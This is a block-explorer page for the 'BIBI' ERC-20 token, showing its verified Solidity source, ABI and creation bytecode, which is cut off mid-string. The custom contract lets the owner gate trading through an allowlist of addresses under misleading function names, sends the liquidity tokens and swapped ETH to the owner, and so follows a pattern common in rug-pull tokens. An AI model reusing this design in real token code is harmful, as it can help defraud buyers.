ERC-20
Overview
Max Total Supply
4,206,900,000,000,000 Bibi
Holders
119
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BIBI
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-07 */ // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.4; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.4; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.4; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.4; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.4; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File contracts/WASSIE.sol pragma solidity ^0.8.4; contract BIBI is Ownable, ERC20 { uint256 public maxHoldingAmount; address public uniswapV2Pair; IUniswapV2Router02 immutable router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 SUPPLY = 4206900000000000 * 10**18; bool private inSwap = false; bool tradingActive = false; mapping(address => bool) private tradingNotActive; event TradingCheck(address indexed account, bool setTrading); constructor() ERC20("BIBI", "Bibi") payable { _mint(address(this), SUPPLY); maxHoldingAmount = SUPPLY * 1 / 100; } receive() external payable {} function removeMaxHoldingAmount() external onlyOwner { maxHoldingAmount = SUPPLY; } function openTrading() external onlyOwner { address pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); _approve(address(this), address(router), balanceOf(address(this))); router.addLiquidityETH{ value: address(this).balance } ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); uniswapV2Pair = pair; } function tradingCheck(address account, bool setTrading) public onlyOwner { tradingNotActive[account] = setTrading; emit TradingCheck(account, setTrading); } function enableTrading() external onlyOwner { tradingActive = true; } function updateRouterTrading(address[] calldata addresses) external onlyOwner { for (uint i = 0; i < addresses.length; i++) { tradingCheck(addresses[i], true); } } function _transfer(address from, address to, uint256 amount) internal override { if(uniswapV2Pair == address(0)) { require(from == address(this) || from == address(0) || from == owner() || to == owner(), "Not started"); super._transfer(from, to, amount); return; } if(from == uniswapV2Pair && to != address(this) && to != owner() && to != address(router)) { require(super.balanceOf(to) + amount <= maxHoldingAmount, "max wallet reached"); } if (!tradingActive) { require(tradingNotActive[from] || tradingNotActive[to], "Trading checking ..."); } uint256 swapAmount = balanceOf(address(this)); if(swapAmount > SUPPLY / 1000) { swapAmount = SUPPLY / 1000; } if (swapAmount >= SUPPLY / 2000 && !inSwap && from != uniswapV2Pair) { inSwap = true; swapTokensForEth(swapAmount); uint256 balance = address(this).balance; if(balance > 0) { withdraw(balance); } inSwap = false; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function withdraw(uint256 amount) private { (bool success,) = owner().call{value: amount}(""); success; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"setTrading","type":"bool"}],"name":"TradingCheck","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxHoldingAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"setTrading","type":"bool"}],"name":"tradingCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"updateRouterTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506dcf6a8b06f3076e1fb4c7200000006008556000600960006101000a81548160ff0219169083151502179055506000600960016101000a81548160ff0219169083151502179055506040518060400160405280600481526020017f42494249000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f42696269000000000000000000000000000000000000000000000000000000008152506200011f620001136200019260201b60201c565b6200019a60201b60201c565b816004908051906020019062000137929190620003e2565b50806005908051906020019062000150929190620003e2565b50505062000167306008546200025e60201b60201c565b606460016008546200017a9190620004cb565b6200018691906200055b565b60068190555062000706565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c890620005f4565b60405180910390fd5b620002e560008383620003d860201b60201c565b8060036000828254620002f9919062000616565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000351919062000616565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003b8919062000684565b60405180910390a3620003d460008383620003dd60201b60201c565b5050565b505050565b505050565b828054620003f090620006d0565b90600052602060002090601f01602090048101928262000414576000855562000460565b82601f106200042f57805160ff191683800117855562000460565b8280016001018555821562000460579182015b828111156200045f57825182559160200191906001019062000442565b5b5090506200046f919062000473565b5090565b5b808211156200048e57600081600090555060010162000474565b5090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004d88262000492565b9150620004e58362000492565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200052157620005206200049c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005688262000492565b9150620005758362000492565b9250826200058857620005876200052c565b5b828204905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620005dc601f8362000593565b9150620005e982620005a4565b602082019050919050565b600060208201905081810360008301526200060f81620005cd565b9050919050565b6000620006238262000492565b9150620006308362000492565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200066857620006676200049c565b5b828201905092915050565b6200067e8162000492565b82525050565b60006020820190506200069b600083018462000673565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006e957607f821691505b602082108114156200070057620006ff620006a1565b5b50919050565b608051612eb06200075360003960008181610daa01528181610e6401528181610f7701528181610fa60152818161165a01528181611d1001528181611e000152611e270152612eb06000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b41146103c7578063a457c2d7146103f2578063a9059cbb1461042f578063c9567bf91461046c578063dd62ed3e14610483578063f2fde38b146104c057610135565b8063715018a61461032c57806389f9a1d3146103435780638a8c523c1461036e5780638da5cb5b1461038557806390927881146103b057610135565b806339509351116100f2578063395093511461023557806349bd5a5e146102725780634bf0941b1461029d5780634fff1be8146102c657806370a08231146102ef57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e9565b60405161015c9190611fd7565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612097565b61057b565b60405161019991906120f2565b60405180910390f35b3480156101ae57600080fd5b506101b7610599565b6040516101c4919061211c565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612137565b6105a3565b60405161020191906120f2565b60405180910390f35b34801561021657600080fd5b5061021f61069b565b60405161022c91906121a6565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190612097565b6106a4565b60405161026991906120f2565b60405180910390f35b34801561027e57600080fd5b50610287610750565b60405161029491906121d0565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf9190612217565b610776565b005b3480156102d257600080fd5b506102ed60048036038101906102e891906122bc565b61089b565b005b3480156102fb57600080fd5b5061031660048036038101906103119190612309565b61096f565b604051610323919061211c565b60405180910390f35b34801561033857600080fd5b506103416109b8565b005b34801561034f57600080fd5b50610358610a40565b604051610365919061211c565b60405180910390f35b34801561037a57600080fd5b50610383610a46565b005b34801561039157600080fd5b5061039a610adf565b6040516103a791906121d0565b60405180910390f35b3480156103bc57600080fd5b506103c5610b08565b005b3480156103d357600080fd5b506103dc610b8f565b6040516103e99190611fd7565b60405180910390f35b3480156103fe57600080fd5b5061041960048036038101906104149190612097565b610c21565b60405161042691906120f2565b60405180910390f35b34801561043b57600080fd5b5061045660048036038101906104519190612097565b610d0c565b60405161046391906120f2565b60405180910390f35b34801561047857600080fd5b50610481610d2a565b005b34801561048f57600080fd5b506104aa60048036038101906104a59190612336565b6110b1565b6040516104b7919061211c565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190612309565b611138565b005b6060600480546104f8906123a5565b80601f0160208091040260200160405190810160405280929190818152602001828054610524906123a5565b80156105715780601f1061054657610100808354040283529160200191610571565b820191906000526020600020905b81548152906001019060200180831161055457829003601f168201915b5050505050905090565b600061058f610588611230565b8484611238565b6001905092915050565b6000600354905090565b60006105b0848484611403565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105fb611230565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561067b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067290612449565b60405180910390fd5b61068f85610687611230565b858403611238565b60019150509392505050565b60006012905090565b60006107466106b1611230565b8484600260006106bf611230565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107419190612498565b611238565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61077e611230565b73ffffffffffffffffffffffffffffffffffffffff1661079c610adf565b73ffffffffffffffffffffffffffffffffffffffff16146107f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e99061253a565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f2a5940f88fedd63fcb65e73697987711021715cd3b8e3603f4ca532bf00bdac78260405161088f91906120f2565b60405180910390a25050565b6108a3611230565b73ffffffffffffffffffffffffffffffffffffffff166108c1610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090e9061253a565b60405180910390fd5b60005b8282905081101561096a5761095783838381811061093b5761093a61255a565b5b90506020020160208101906109509190612309565b6001610776565b808061096290612589565b91505061091a565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109c0611230565b73ffffffffffffffffffffffffffffffffffffffff166109de610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2b9061253a565b60405180910390fd5b610a3e6000611929565b565b60065481565b610a4e611230565b73ffffffffffffffffffffffffffffffffffffffff16610a6c610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab99061253a565b60405180910390fd5b6001600960016101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b10611230565b73ffffffffffffffffffffffffffffffffffffffff16610b2e610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b9061253a565b60405180910390fd5b600854600681905550565b606060058054610b9e906123a5565b80601f0160208091040260200160405190810160405280929190818152602001828054610bca906123a5565b8015610c175780601f10610bec57610100808354040283529160200191610c17565b820191906000526020600020905b815481529060010190602001808311610bfa57829003601f168201915b5050505050905090565b60008060026000610c30611230565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce490612644565b60405180910390fd5b610d01610cf8611230565b85858403611238565b600191505092915050565b6000610d20610d19611230565b8484611403565b6001905092915050565b610d32611230565b73ffffffffffffffffffffffffffffffffffffffff16610d50610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d9061253a565b60405180910390fd5b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0e57600080fd5b505afa158015610e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e469190612679565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec857600080fd5b505afa158015610edc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f009190612679565b6040518363ffffffff1660e01b8152600401610f1d9291906126a6565b602060405180830381600087803b158015610f3757600080fd5b505af1158015610f4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6f9190612679565b9050610fa4307f0000000000000000000000000000000000000000000000000000000000000000610f9f3061096f565b611238565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610feb3061096f565b600080610ff6610adf565b426040518863ffffffff1660e01b815260040161101896959493929190612714565b6060604051808303818588803b15801561103157600080fd5b505af1158015611045573d6000803e3d6000fd5b50505050506040513d601f19601f8201